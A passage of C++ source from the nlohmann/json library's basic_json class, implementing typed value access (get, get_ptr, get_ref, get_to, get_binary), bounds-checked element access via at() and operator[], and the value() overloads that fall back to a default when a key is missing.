get_impl_ptr(boolean_t* /*unused*/) noexcept\n    {\n        return is_boolean() ? &m_data.m_value.boolean : nullptr;\n    }\n\n    /// get a pointer to the value (boolean)\n    constexpr const boolean_t* get_impl_ptr(const boolean_t* /*unused*/) const noexcept\n    {\n        return is_boolean() ? &m_data.m_value.boolean : nullptr;\n    }\n\n    /// get a pointer to the value (integer number)\n    number_integer_t* get_impl_ptr(number_integer_t* /*unused*/) noexcept\n    {\n        return is_number_integer() ? &m_data.m_value.number_integer : nullptr;\n    }\n\n    /// get a pointer to the value (integer number)\n    constexpr const number_integer_t* get_impl_ptr(const number_integer_t* /*unused*/) const noexcept\n    {\n        return is_number_integer() ? &m_data.m_value.number_integer : nullptr;\n    }\n\n    /// get a pointer to the value (unsigned number)\n    number_unsigned_t* get_impl_ptr(number_unsigned_t* /*unused*/) noexcept\n    {\n        return is_number_unsigned() ? &m_data.m_value.number_unsigned : nullptr;\n    }\n\n    /// get a pointer to the value (unsigned number)\n    constexpr const number_unsigned_t* get_impl_ptr(const number_unsigned_t* /*unused*/) const noexcept\n    {\n        return is_number_unsigned() ? &m_data.m_value.number_unsigned : nullptr;\n    }\n\n    /// get a pointer to the value (floating-point number)\n    number_float_t* get_impl_ptr(number_float_t* /*unused*/) noexcept\n    {\n        return is_number_float() ? &m_data.m_value.number_float : nullptr;\n    }\n\n    /// get a pointer to the value (floating-point number)\n    constexpr const number_float_t* get_impl_ptr(const number_float_t* /*unused*/) const noexcept\n    {\n        return is_number_float() ? &m_data.m_value.number_float : nullptr;\n    }\n\n    /// get a pointer to the value (binary)\n    binary_t* get_impl_ptr(binary_t* /*unused*/) noexcept\n    {\n        return is_binary() ? m_data.m_value.binary : nullptr;\n    }\n\n    /// get a pointer to the value (binary)\n    constexpr const binary_t* get_impl_ptr(const binary_t* /*unused*/) const noexcept\n    {\n        return is_binary() ? m_data.m_value.binary : nullptr;\n    }\n\n    /*!\n    @brief helper function to implement get_ref()\n\n    This function helps to implement get_ref() without code duplication for\n    const and non-const overloads\n\n    @tparam ThisType will be deduced as `basic_json` or `const basic_json`\n\n    @throw type_error.303 if ReferenceType does not match underlying value\n    type of the current JSON\n    */\n    template<typename ReferenceType, typename ThisType>\n    static ReferenceType get_ref_impl(ThisType& obj)\n    {\n        // delegate the call to get_ptr<>()\n        auto* ptr = obj.template get_ptr<typename std::add_pointer<ReferenceType>::type>();\n\n        if (JSON_HEDLEY_LIKELY(ptr != nullptr))\n        {\n            return *ptr;\n        }\n\n        JSON_THROW(type_error::create(303, detail::concat(\"incompatible ReferenceType for get_ref, actual type is \", obj.type_name()), &obj));\n    }\n\npublic:\n    /// @name value access\n    /// Direct access to the stored value of a JSON value.\n    /// @{\n\n    /// @brief get a pointer value (implicit)\n    /// @sa https://json.nlohmann.me/api/basic_json/get_ptr/\n    template<typename PointerType, typename std::enable_if<\n        std::is_pointer<PointerType>::value, int>::type = 0>\n    auto get_ptr() noexcept -> decltype(std::declval<basic_json_t&>().get_impl_ptr(std::declval<PointerType>()))\n    {\n        // delegate the call to get_impl_ptr<>()\n        return get_impl_ptr(static_cast<PointerType>(nullptr));\n    }\n\n    /// @brief get a pointer value (implicit)\n    /// @sa https://json.nlohmann.me/api/basic_json/get_ptr/\n    template < typename PointerType, typename std::enable_if <\n        std::is_pointer<PointerType>::value&&\n        std::is_const<typename std::remove_pointer<PointerType>::type>::value, int >::type = 0 >\n    constexpr auto get_ptr() const noexcept -> decltype(std::declval<const basic_json_t&>().get_impl_ptr(std::declval<PointerType>()))\n    {\n        // delegate the call to get_impl_ptr<>() const\n        return get_impl_ptr(static_cast<PointerType>(nullptr));\n    }\n\nprivate:\n    /*!\n    @brief get a value (explicit)\n\n    Explicit type conversion between the JSON value and a compatible value\n    which is [CopyConstructible](https://en.cppreference.com/w/cpp/named_req/CopyConstructible)\n    and [DefaultConstructible](https://en.cppreference.com/w/cpp/named_req/DefaultConstructible).\n    The value is converted by calling the @ref json_serializer<ValueType>\n    `from_json()` method.\n\n    The function is equivalent to executing\n    @code {.cpp}\n    ValueType ret;\n    JSONSerializer<ValueType>::from_json(*this, ret);\n    return ret;\n    @endcode\n\n    This overloads is chosen if:\n    - @a ValueType is not @ref basic_json,\n    - @ref json_serializer<ValueType> has a `from_json()` method of the form\n      `void from_json(const basic_json&, ValueType&)`, and\n    - @ref json_serializer<ValueType> does not have a `from_json()` method of\n      the form `ValueType from_json(const basic_json&)`\n\n    @tparam ValueType the returned value type\n\n    @return copy of the JSON value, converted to @a ValueType\n\n    @throw what @ref json_serializer<ValueType> `from_json()` method throws\n\n    @liveexample{The example below shows several conversions from JSON values\n    to other types. There a few things to note: (1) Floating-point numbers can\n    be converted to integers\\, (2) A JSON array can be converted to a standard\n    `std::vector<short>`\\, (3) A JSON object can be converted to C++\n    associative containers such as `std::unordered_map<std::string\\,\n    json>`.,get__ValueType_const}\n\n    @since version 2.1.0\n    */\n    template < typename ValueType,\n        detail::enable_if_t <\n        detail::is_default_constructible<ValueType>::value&&\n        detail::has_from_json<basic_json_t, ValueType>::value,\n        int > = 0 >\n    ValueType get_impl(detail::priority_tag<0> /*unused*/) const noexcept(noexcept(\n        JSONSerializer<ValueType>::from_json(std::declval<const basic_json_t&>(), std::declval<ValueType&>())))\n    {\n        auto ret = ValueType();\n        JSONSerializer<ValueType>::from_json(*this, ret);\n        return ret;\n    }\n\n    /*!\n    @brief get a value (explicit); special case\n\n    Explicit type conversion between the JSON value and a compatible value\n    which is **not** [CopyConstructible](https://en.cppreference.com/w/cpp/named_req/CopyConstructible)\n    and **not** [DefaultConstructible](https://en.cppreference.com/w/cpp/named_req/DefaultConstructible).\n    The value is converted by calling the @ref json_serializer<ValueType>\n    `from_json()` method.\n\n    The function is equivalent to executing\n    @code {.cpp}\n    return JSONSerializer<ValueType>::from_json(*this);\n    @endcode\n\n    This overloads is chosen if:\n    - @a ValueType is not @ref basic_json and\n    - @ref json_serializer<ValueType> has a `from_json()` method of the form\n      `ValueType from_json(const basic_json&)`\n\n    @note If @ref json_serializer<ValueType> has both overloads of\n    `from_json()`, this one is chosen.\n\n    @tparam ValueType the returned value type\n\n    @return copy of the JSON value, converted to @a ValueType\n\n    @throw what @ref json_serializer<ValueType> `from_json()` method throws\n\n    @since version 2.1.0\n    */\n    template < typename ValueType,\n        detail::enable_if_t <\n        detail::has_non_default_from_json<basic_json_t, ValueType>::value,\n        int > = 0 >\n    ValueType get_impl(detail::priority_tag<1> /*unused*/) const noexcept(noexcept(\n        JSONSerializer<ValueType>::from_json(std::declval<const basic_json_t&>())))\n    {\n        return JSONSerializer<ValueType>::from_json(*this);\n    }\n\n    /*!\n    @brief get special-case overload\n\n    This overloads converts the current @ref basic_json in a different\n    @ref basic_json type\n\n    @tparam BasicJsonType == @ref basic_json\n\n    @return a copy of *this, converted into @a BasicJsonType\n\n    @complexity Depending on the implementation of the called `from_json()`\n                method.\n\n    @since version 3.2.0\n    */\n    template < typename BasicJsonType,\n        detail::enable_if_t <\n        detail::is_basic_json<BasicJsonType>::value,\n        int > = 0 >\n    BasicJsonType get_impl(detail::priority_tag<2> /*unused*/) const\n    {\n        return *this;\n    }\n\n    /*!\n    @brief get special-case overload\n\n    This overloads avoids a lot of template boilerplate, it can be seen as the\n    identity method\n\n    @tparam BasicJsonType == @ref basic_json\n\n    @return a copy of *this\n\n    @complexity Constant.\n\n    @since version 2.1.0\n    */\n    template<typename BasicJsonType,\n        detail::enable_if_t<\n        std::is_same<BasicJsonType, basic_json_t>::value,\n        int> = 0>\n    basic_json get_impl(detail::priority_tag<3> /*unused*/) const\n    {\n        return *this;\n    }\n\n    /*!\n    @brief get a pointer value (explicit)\n    @copydoc get()\n    */\n    template<typename PointerType,\n        detail::enable_if_t<\n        std::is_pointer<PointerType>::value,\n        int> = 0>\n    constexpr auto get_impl(detail::priority_tag<4> /*unused*/) const noexcept\n        -> decltype(std::declval<const basic_json_t&>().template get_ptr<PointerType>())\n    {\n        // delegate the call to get_ptr\n        return get_ptr<PointerType>();\n    }\n\npublic:\n    /*!\n    @brief get a (pointer) value (explicit)\n\n    Performs explicit type conversion between the JSON value and a compatible value if required.\n\n    - If the requested type is a pointer to the internally stored JSON value that pointer is returned.\n    No copies are made.\n\n    - If the requested type is the current @ref basic_json, or a different @ref basic_json convertible\n    from the current @ref basic_json.\n\n    - Otherwise the value is converted by calling the @ref json_serializer<ValueType> `from_json()`\n    method.\n\n    @tparam ValueTypeCV the provided value type\n    @tparam ValueType the returned value type\n\n    @return copy of the JSON value, converted to @tparam ValueType if necessary\n\n    @throw what @ref json_serializer<ValueType> `from_json()` method throws if conversion is required\n\n    @since version 2.1.0\n    */\n    template < typename ValueTypeCV, typename ValueType = detail::uncvref_t<ValueTypeCV>>\n#if defined(JSON_HAS_CPP_14)\n    constexpr\n#endif\n        auto get() const noexcept(\n            noexcept(std::declval<const basic_json_t&>().template get_impl<ValueType>(detail::priority_tag<4> {})))\n        -> decltype(std::declval<const basic_json_t&>().template get_impl<ValueType>(detail::priority_tag<4> {}))\n    {\n        // we cannot static_assert on ValueTypeCV being non-const, because\n        // there is support for get<const basic_json_t>(), which is why we\n        // still need the uncvref\n        static_assert(!std::is_reference<ValueTypeCV>::value,\n            \"get() cannot be used with reference types, you might want to use get_ref()\");\n        return get_impl<ValueType>(detail::priority_tag<4> {});\n    }\n\n    /*!\n    @brief get a pointer value (explicit)\n\n    Explicit pointer access to the internally stored JSON value. No copies are\n    made.\n\n    @warning The pointer becomes invalid if the underlying JSON object\n    changes.\n\n    @tparam PointerType pointer type; must be a pointer to @ref array_t, @ref\n    object_t, @ref string_t, @ref boolean_t, @ref number_integer_t,\n    @ref number_unsigned_t, or @ref number_float_t.\n\n    @return pointer to the internally stored JSON value if the requested\n    pointer type @a PointerType fits to the JSON value; `nullptr` otherwise\n\n    @complexity Constant.\n\n    @liveexample{The example below shows how pointers to internal values of a\n    JSON value can be requested. Note that no type conversions are made and a\n    `nullptr` is returned if the value and the requested pointer type does not\n    match.,get__PointerType}\n\n    @sa see @ref get_ptr() for explicit pointer-member access\n\n    @since version 1.0.0\n    */\n    template<typename PointerType, typename std::enable_if<\n        std::is_pointer<PointerType>::value, int>::type = 0>\n    auto get() noexcept -> decltype(std::declval<basic_json_t&>().template get_ptr<PointerType>())\n    {\n        // delegate the call to get_ptr\n        return get_ptr<PointerType>();\n    }\n\n    /// @brief get a value (explicit)\n    /// @sa https://json.nlohmann.me/api/basic_json/get_to/\n    template < typename ValueType,\n        detail::enable_if_t <\n        !detail::is_basic_json<ValueType>::value&&\n        detail::has_from_json<basic_json_t, ValueType>::value,\n        int > = 0 >\n    ValueType& get_to(ValueType& v) const noexcept(noexcept(\n        JSONSerializer<ValueType>::from_json(std::declval<const basic_json_t&>(), v)))\n    {\n        JSONSerializer<ValueType>::from_json(*this, v);\n        return v;\n    }\n\n    // specialization to allow calling get_to with a basic_json value\n    // see https://github.com/nlohmann/json/issues/2175\n    template<typename ValueType,\n        detail::enable_if_t <\n        detail::is_basic_json<ValueType>::value,\n        int> = 0>\n    ValueType& get_to(ValueType& v) const\n    {\n        v = *this;\n        return v;\n    }\n\n    template <\n        typename T, std::size_t N,\n        typename Array = T(&)[N], // NOLINT(cppcoreguidelines-avoid-c-arrays,hicpp-avoid-c-arrays,modernize-avoid-c-arrays)\n        detail::enable_if_t <\n        detail::has_from_json<basic_json_t, Array>::value, int > = 0 >\n    Array get_to(T(&v)[N]) const // NOLINT(cppcoreguidelines-avoid-c-arrays,hicpp-avoid-c-arrays,modernize-avoid-c-arrays)\n        noexcept(noexcept(JSONSerializer<Array>::from_json(\n            std::declval<const basic_json_t&>(), v)))\n    {\n        JSONSerializer<Array>::from_json(*this, v);\n        return v;\n    }\n\n    /// @brief get a reference value (implicit)\n    /// @sa https://json.nlohmann.me/api/basic_json/get_ref/\n    template<typename ReferenceType, typename std::enable_if<\n        std::is_reference<ReferenceType>::value, int>::type = 0>\n    ReferenceType get_ref()\n    {\n        // delegate call to get_ref_impl\n        return get_ref_impl<ReferenceType>(*this);\n    }\n\n    /// @brief get a reference value (implicit)\n    /// @sa https://json.nlohmann.me/api/basic_json/get_ref/\n    template < typename ReferenceType, typename std::enable_if <\n        std::is_reference<ReferenceType>::value&&\n        std::is_const<typename std::remove_reference<ReferenceType>::type>::value, int >::type = 0 >\n    ReferenceType get_ref() const\n    {\n        // delegate call to get_ref_impl\n        return get_ref_impl<ReferenceType>(*this);\n    }\n\n    /*!\n    @brief get a value (implicit)\n\n    Implicit type conversion between the JSON value and a compatible value.\n    The call is realized by calling @ref get() const.\n\n    @tparam ValueType non-pointer type compatible to the JSON value, for\n    instance `int` for JSON integer numbers, `bool` for JSON booleans, or\n    `std::vector` types for JSON arrays. The character type of @ref string_t\n    as well as an initializer list of this type is excluded to avoid\n    ambiguities as these types implicitly convert to `std::string`.\n\n    @return copy of the JSON value, converted to type @a ValueType\n\n    @throw type_error.302 in case passed type @a ValueType is incompatible\n    to the JSON value type (e.g., the JSON value is of type boolean, but a\n    string is requested); see example below\n\n    @complexity Linear in the size of the JSON value.\n\n    @liveexample{The example below shows several conversions from JSON values\n    to other types. There a few things to note: (1) Floating-point numbers can\n    be converted to integers\\, (2) A JSON array can be converted to a standard\n    `std::vector<short>`\\, (3) A JSON object can be converted to C++\n    associative containers such as `std::unordered_map<std::string\\,\n    json>`.,operator__ValueType}\n\n    @since version 1.0.0\n    */\n    template < typename ValueType, typename std::enable_if <\n        detail::conjunction <\n        detail::negation<std::is_pointer<ValueType>>,\n        detail::negation<std::is_same<ValueType, std::nullptr_t>>,\n        detail::negation<std::is_same<ValueType, detail::json_ref<basic_json>>>,\n        detail::negation<std::is_same<ValueType, typename string_t::value_type>>,\n        detail::negation<detail::is_basic_json<ValueType>>,\n        detail::negation<std::is_same<ValueType, std::initializer_list<typename string_t::value_type>>>,\n#if defined(JSON_HAS_CPP_17) && (defined(__GNUC__) || (defined(_MSC_VER) && _MSC_VER >= 1910 && _MSC_VER <= 1914))\n        detail::negation<std::is_same<ValueType, std::string_view>>,\n#endif\n#if defined(JSON_HAS_CPP_17) && JSON_HAS_STATIC_RTTI\n        detail::negation<std::is_same<ValueType, std::any>>,\n#endif\n        detail::is_detected_lazy<detail::get_template_function, const basic_json_t&, ValueType>\n    >::value, int >::type = 0 >\n    JSON_EXPLICIT operator ValueType() const\n    {\n        // delegate the call to get<>() const\n        return get<ValueType>();\n    }\n\n    /// @brief get a binary value\n    /// @sa https://json.nlohmann.me/api/basic_json/get_binary/\n    binary_t& get_binary()\n    {\n        if (!is_binary())\n        {\n            JSON_THROW(type_error::create(302, detail::concat(\"type must be binary, but is \", type_name()), this));\n        }\n\n        return *get_ptr<binary_t*>();\n    }\n\n    /// @brief get a binary value\n    /// @sa https://json.nlohmann.me/api/basic_json/get_binary/\n    const binary_t& get_binary() const\n    {\n        if (!is_binary())\n        {\n            JSON_THROW(type_error::create(302, detail::concat(\"type must be binary, but is \", type_name()), this));\n        }\n\n        return *get_ptr<const binary_t*>();\n    }\n\n    /// @}\n\n    ////////////////////\n    // element access //\n    ////////////////////\n\n    /// @name element access\n    /// Access to the JSON value.\n    /// @{\n\n    /// @brief access specified array element with bounds checking\n    /// @sa https://json.nlohmann.me/api/basic_json/at/\n    reference at(size_type idx)\n    {\n        // at only works for arrays\n        if (JSON_HEDLEY_LIKELY(is_array()))\n        {\n            JSON_TRY\n            {\n                return set_parent(m_data.m_value.array->at(idx));\n            }\n                JSON_CATCH(std::out_of_range&)\n            {\n                // create better exception explanation\n                JSON_THROW(out_of_range::create(401, detail::concat(\"array index \", std::to_string(idx), \" is out of range\"), this));\n            }\n        }\n        else\n        {\n            JSON_THROW(type_error::create(304, detail::concat(\"cannot use at() with \", type_name()), this));\n        }\n    }\n\n    /// @brief access specified array element with bounds checking\n    /// @sa https://json.nlohmann.me/api/basic_json/at/\n    const_reference at(size_type idx) const\n    {\n        // at only works for arrays\n        if (JSON_HEDLEY_LIKELY(is_array()))\n        {\n            JSON_TRY\n            {\n                return m_data.m_value.array->at(idx);\n            }\n                JSON_CATCH(std::out_of_range&)\n            {\n                // create better exception explanation\n                JSON_THROW(out_of_range::create(401, detail::concat(\"array index \", std::to_string(idx), \" is out of range\"), this));\n            }\n        }\n        else\n        {\n            JSON_THROW(type_error::create(304, detail::concat(\"cannot use at() with \", type_name()), this));\n        }\n    }\n\n    /// @brief access specified object element with bounds checking\n    /// @sa https://json.nlohmann.me/api/basic_json/at/\n    reference at(const typename object_t::key_type& key)\n    {\n        // at only works for objects\n        if (JSON_HEDLEY_UNLIKELY(!is_object()))\n        {\n            JSON_THROW(type_error::create(304, detail::concat(\"cannot use at() with \", type_name()), this));\n        }\n\n        auto it = m_data.m_value.object->find(key);\n        if (it == m_data.m_value.object->end())\n        {\n            JSON_THROW(out_of_range::create(403, detail::concat(\"key '\", key, \"' not found\"), this));\n        }\n        return set_parent(it->second);\n    }\n\n    /// @brief access specified object element with bounds checking\n    /// @sa https://json.nlohmann.me/api/basic_json/at/\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_basic_json_key_type<basic_json_t, KeyType>::value, int> = 0>\n    reference at(KeyType&& key)\n    {\n        // at only works for objects\n        if (JSON_HEDLEY_UNLIKELY(!is_object()))\n        {\n            JSON_THROW(type_error::create(304, detail::concat(\"cannot use at() with \", type_name()), this));\n        }\n\n        auto it = m_data.m_value.object->find(std::forward<KeyType>(key));\n        if (it == m_data.m_value.object->end())\n        {\n            JSON_THROW(out_of_range::create(403, detail::concat(\"key '\", string_t(std::forward<KeyType>(key)), \"' not found\"), this));\n        }\n        return set_parent(it->second);\n    }\n\n    /// @brief access specified object element with bounds checking\n    /// @sa https://json.nlohmann.me/api/basic_json/at/\n    const_reference at(const typename object_t::key_type& key) const\n    {\n        // at only works for objects\n        if (JSON_HEDLEY_UNLIKELY(!is_object()))\n        {\n            JSON_THROW(type_error::create(304, detail::concat(\"cannot use at() with \", type_name()), this));\n        }\n\n        auto it = m_data.m_value.object->find(key);\n        if (it == m_data.m_value.object->end())\n        {\n            JSON_THROW(out_of_range::create(403, detail::concat(\"key '\", key, \"' not found\"), this));\n        }\n        return it->second;\n    }\n\n    /// @brief access specified object element with bounds checking\n    /// @sa https://json.nlohmann.me/api/basic_json/at/\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_basic_json_key_type<basic_json_t, KeyType>::value, int> = 0>\n    const_reference at(KeyType&& key) const\n    {\n        // at only works for objects\n        if (JSON_HEDLEY_UNLIKELY(!is_object()))\n        {\n            JSON_THROW(type_error::create(304, detail::concat(\"cannot use at() with \", type_name()), this));\n        }\n\n        auto it = m_data.m_value.object->find(std::forward<KeyType>(key));\n        if (it == m_data.m_value.object->end())\n        {\n            JSON_THROW(out_of_range::create(403, detail::concat(\"key '\", string_t(std::forward<KeyType>(key)), \"' not found\"), this));\n        }\n        return it->second;\n    }\n\n    /// @brief access specified array element\n    /// @sa https://json.nlohmann.me/api/basic_json/operator%5B%5D/\n    reference operator[](size_type idx)\n    {\n        // implicitly convert null value to an empty array\n        if (is_null())\n        {\n            m_data.m_type = value_t::array;\n            m_data.m_value.array = create<array_t>();\n            assert_invariant();\n        }\n\n        // operator[] only works for arrays\n        if (JSON_HEDLEY_LIKELY(is_array()))\n        {\n            // fill up array with null values if given idx is outside range\n            if (idx >= m_data.m_value.array->size())\n            {\n#if JSON_DIAGNOSTICS\n                // remember array size & capacity before resizing\n                const auto old_size = m_data.m_value.array->size();\n                const auto old_capacity = m_data.m_value.array->capacity();\n#endif\n                m_data.m_value.array->resize(idx + 1);\n\n#if JSON_DIAGNOSTICS\n                if (JSON_HEDLEY_UNLIKELY(m_data.m_value.array->capacity() != old_capacity))\n                {\n                    // capacity has changed: update all parents\n                    set_parents();\n                }\n                else\n                {\n                    // set parent for values added above\n                    set_parents(begin() + static_cast<typename iterator::difference_type>(old_size), static_cast<typename iterator::difference_type>(idx + 1 - old_size));\n                }\n#endif\n                assert_invariant();\n            }\n\n            return m_data.m_value.array->operator[](idx);\n        }\n\n        JSON_THROW(type_error::create(305, detail::concat(\"cannot use operator[] with a numeric argument with \", type_name()), this));\n    }\n\n    /// @brief access specified array element\n    /// @sa https://json.nlohmann.me/api/basic_json/operator%5B%5D/\n    const_reference operator[](size_type idx) const\n    {\n        // const operator[] only works for arrays\n        if (JSON_HEDLEY_LIKELY(is_array()))\n        {\n            return m_data.m_value.array->operator[](idx);\n        }\n\n        JSON_THROW(type_error::create(305, detail::concat(\"cannot use operator[] with a numeric argument with \", type_name()), this));\n    }\n\n    /// @brief access specified object element\n    /// @sa https://json.nlohmann.me/api/basic_json/operator%5B%5D/\n    reference operator[](typename object_t::key_type key)\n    {\n        // implicitly convert null value to an empty object\n        if (is_null())\n        {\n            m_data.m_type = value_t::object;\n            m_data.m_value.object = create<object_t>();\n            assert_invariant();\n        }\n\n        // operator[] only works for objects\n        if (JSON_HEDLEY_LIKELY(is_object()))\n        {\n            auto result = m_data.m_value.object->emplace(std::move(key), nullptr);\n            return set_parent(result.first->second);\n        }\n\n        JSON_THROW(type_error::create(305, detail::concat(\"cannot use operator[] with a string argument with \", type_name()), this));\n    }\n\n    /// @brief access specified object element\n    /// @sa https://json.nlohmann.me/api/basic_json/operator%5B%5D/\n    const_reference operator[](const typename object_t::key_type& key) const\n    {\n        // const operator[] only works for objects\n        if (JSON_HEDLEY_LIKELY(is_object()))\n        {\n            auto it = m_data.m_value.object->find(key);\n            JSON_ASSERT(it != m_data.m_value.object->end());\n            return it->second;\n        }\n\n        JSON_THROW(type_error::create(305, detail::concat(\"cannot use operator[] with a string argument with \", type_name()), this));\n    }\n\n    // these two functions resolve a (const) char * ambiguity affecting Clang and MSVC\n    // (they seemingly cannot be constrained to resolve the ambiguity)\n    template<typename T>\n    reference operator[](T* key)\n    {\n        return operator[](typename object_t::key_type(key));\n    }\n\n    template<typename T>\n    const_reference operator[](T* key) const\n    {\n        return operator[](typename object_t::key_type(key));\n    }\n\n    /// @brief access specified object element\n    /// @sa https://json.nlohmann.me/api/basic_json/operator%5B%5D/\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_basic_json_key_type<basic_json_t, KeyType>::value, int > = 0 >\n    reference operator[](KeyType&& key)\n    {\n        // implicitly convert null value to an empty object\n        if (is_null())\n        {\n            m_data.m_type = value_t::object;\n            m_data.m_value.object = create<object_t>();\n            assert_invariant();\n        }\n\n        // operator[] only works for objects\n        if (JSON_HEDLEY_LIKELY(is_object()))\n        {\n            auto result = m_data.m_value.object->emplace(std::forward<KeyType>(key), nullptr);\n            return set_parent(result.first->second);\n        }\n\n        JSON_THROW(type_error::create(305, detail::concat(\"cannot use operator[] with a string argument with \", type_name()), this));\n    }\n\n    /// @brief access specified object element\n    /// @sa https://json.nlohmann.me/api/basic_json/operator%5B%5D/\n    template<class KeyType, detail::enable_if_t<\n        detail::is_usable_as_basic_json_key_type<basic_json_t, KeyType>::value, int > = 0 >\n    const_reference operator[](KeyType&& key) const\n    {\n        // const operator[] only works for objects\n        if (JSON_HEDLEY_LIKELY(is_object()))\n        {\n            auto it = m_data.m_value.object->find(std::forward<KeyType>(key));\n            JSON_ASSERT(it != m_data.m_value.object->end());\n            return it->second;\n        }\n\n        JSON_THROW(type_error::create(305, detail::concat(\"cannot use operator[] with a string argument with \", type_name()), this));\n    }\n\nprivate:\n    template<typename KeyType>\n    using is_comparable_with_object_key = detail::is_comparable <\n        object_comparator_t, const typename object_t::key_type&, KeyType >;\n\n    template<typename ValueType>\n    using value_return_type = std::conditional <\n        detail::is_c_string_uncvref<ValueType>::value,\n        string_t, typename std::decay<ValueType>::type >;\n\npublic:\n    /// @brief access specified object element with default value\n    /// @sa https://json.nlohmann.me/api/basic_json/value/\n    template < class ValueType, detail::enable_if_t <\n        !detail::is_transparent<object_comparator_t>::value\n        && detail::is_getable<basic_json_t, ValueType>::value\n        && !std::is_same<value_t, detail::uncvref_t<ValueType>>::value, int > = 0 >\n    ValueType value(const typename object_t::key_type& key, const ValueType& default_value) const\n    {\n        // value only works for objects\n        if (JSON_HEDLEY_LIKELY(is_object()))\n        {\n            // if key is found, return value and given default value otherwise\n            const auto it = find(key);\n            if (it != end())\n            {\n                return it->template get<ValueType>();\n            }\n\n            return default_value;\n        }\n\n        JSON_THROW(type_error::create(306, detail::concat(\"cannot use value() with \", type_name()), this));\n    }\n\n    /// @brief access specified object element with default value\n    /// @sa https://json.nlohmann.me/api/basic_json/value/\n    template < class ValueType, class ReturnType = typename value_return_type<ValueType>::type,\n        detail::enable_if_t <\n        !detail::is_transparent<object_comparator_t>::value\n        && detail::is_getable<basic_json_t, ReturnType>::value\n        && !std::is_same<value_t, detail::uncvref_t<ValueType>>::value, int > = 0 >\n    ReturnType value(const typename object_t::key_type& key, ValueType&& default_value) const\n    {\n        // value only works for objects\n        if (JSON_HEDLEY_LIKELY(is_object()))\n        {\n            // if key is found, return value and given default value otherwise\n            const auto it = find(key);\n            if (it != end())\n            {\n                return it->template get<ReturnType>();\n            }\n\n            return std::forward<ValueType>(default_value);\n        }\n\n        JSON_THROW(type_error::create(306, detail::concat(\"cannot use value() with \", type_name()), this));\n    }\n\n    /// @brief access specified object element with default value\n    /// @sa https://json.nlohmann.me/api/basic_json/value/\n    template < class ValueType, class KeyType, detail::enable_if_t <\n        detail::is_transparent<object_comparator_t>::value\n        && !detail::is_json_pointer<KeyType>::value\n        && is_comparable_with_object_key<KeyType>::value\n        && detail::is_getable<basic_json_t, ValueType>::value\n        && !std::is_same<value_t, detail::uncvref_t<ValueType>>::value, int > = 0 >\n    ValueType value(KeyType&& key, const ValueType& default_value) const\n    {\n        // value only works for objects\n        if (JSON_HEDLEY_LIKELY(is_object()))\n        {\n            // if key is found, return value and given default value otherwise\n            const auto it = find(std::forward<KeyType>(key));\n            if (it != end())\n            {\n                return it->template get<ValueType>();\n            }\n\n            return default_value;\n        }\n\n        JSON_THROW(type_error::create(306, detail::concat(\"cannot use value() with \", type_name()), this));\n    }\n\n    /// @brief access specified object element via JSON Pointer with default value\n    /// @sa https://json.nlohmann.me/api/basic_json/value/\n    template < class ValueType, class KeyType, class ReturnType = typename value_return_type<ValueType>::type,\n        detail::enable_if_t <\n        detail::is_transparent<object_comparator_t>::value\n        && !detail::is_json_pointer<KeyType>::value\n        && is_comparable_with_object_key<KeyType>::value\n        && detail::is_getable<basic_json_t, ReturnType>::value\n        && !std::is_same<value_t, detail::uncvref_t<ValueType>>::value, int > = 0 >\n    ReturnType value(KeyType&& key, ValueType&& default_value) const\n    {\n        // value only works for objects\n        if (JSON_HEDLEY_LIKELY(is_object()))\n        {\n            // if key is found, return value and given default value otherwise\n            const auto it = find(std::forward<KeyType>(key));\n            if (it != end())\n            {\n                return it->template get<ReturnType>();\n            }\n\n            return std::forward<ValueType>(default_value);\n        }\n\n        JSON_THROW(type_error::create(306, detail::concat(\"cannot use value() with \", type_name()), this));\n    }\n\n    /// @brief access specified object element via JSON Pointer with default value\n    /// @sa https://json.nlohmann.me/api/basic_json/value/\n    template < class ValueType, detail::enable_if_t <\n        detail::is_getable<basic_json_t, ValueType>::value\n        && !std::is_same<value_t, detail::uncvref_t<ValueType>>::value, int > = 0 >\n    ValueType value(const json_pointer& ptr, const ValueType& default_value) const\n    {\n        // value only works for objects\n        if (JSON_HEDLEY_LIKELY(is_object()))\n        {\n            // if pointer resolves a value, return it or use default value\n            JSON_TRY\n            {\n                return ptr.get_checked(this).template get<ValueType>();\n            }\n                JSON_INTERNAL_CATCH(out_of_range&)\n            {\n                return default_value;\n            }\n        }\n\n        JSON_THROW(type_error::create(306, detail::concat(\"cannot use value() with \", type_name()), this));\n    }\n\n    /// @brief access specified object element via JSON Pointer with default value\n    /// @sa https://json.nlohmann.me/api/basic_json/value/\n    template < class ValueType, class ReturnType = typename value_return_type<ValueType>::type,\n        detail::enable_if_t <\n        detail::is_getable<basic_json_t, ReturnType>::value\n        && !std::is_same<value_t, detail::uncvref_t<ValueType>>::value, int > = 0 >\n    ReturnType value(const json_pointer& ptr, ValueType&& default_value) const\n    {\n        // value only works for objects\n        if (JSON_HEDLEY_LIKELY(is_object()))\n        {\n            // if pointer resolves a value, return it or use default value\n            JSON_TRY\n            {\n                return ptr.get_checked(this).template get<ReturnType>();\n            }\n                JSON_INTERNAL_CATCH(out_of_range&)\n            {\n                return std::forward<ValueType>(default_value);\n            }\n        }\n\n        JSON_THROW(type_error::create(306, detail::concat(\"cannot use value() with \", type_name()), this));\n    }\n\n    template < class ValueType, class BasicJsonType, detail::enable_if_t <\n        detail::is_basic_json<BasicJsonType>::value\n        && detail::is_getable<basic_json_t, ValueType>::value\n        && !std::is_same<value_t, detail::uncvref_t<ValueType>>::value, int > = 0 >\n    JSON_HEDLEY_DEPRECATED_FOR(3.11.0, basic_json::json_pointer or nlohmann::json_pointer<basic_json::string_t>) // NOLINT(readability/alt_tokens)\n        ValueType value(const ::nlohmann::json_pointer<BasicJsonType>& ptr, const ValueType& default_value) const\n    {\n        return value(ptr.convert(), default_value);\n    }\n\n    template < class ValueType, class BasicJsonType, class ReturnType = typename value_return_type<ValueType>::type,\n        detail::enable_if_t <\n        detail::is_basic_json<BasicJsonType>::value\n        && detail::is_getable<basic_json_t, ReturnType>::value\n        && !std::is_same<value_t, detail::uncvref_t<ValueType>>::value, int > = 0 >\n    JSON_HEDLEY_DEPRECATED_FOR(3.11.0, basic_json::json_pointer or nlohmann::json_pointer<basic_json::string_t>) // NOLINT(readability/alt_tokens)\n        ReturnType value(const ::nlohmann::json_pointer<BasicJsonType>& ptr, ValueType&& default_value) const\n    {\n        return value(ptr.convert(), std::forward<ValueType>(default_value));\n    }\n\n    /// @brief access the 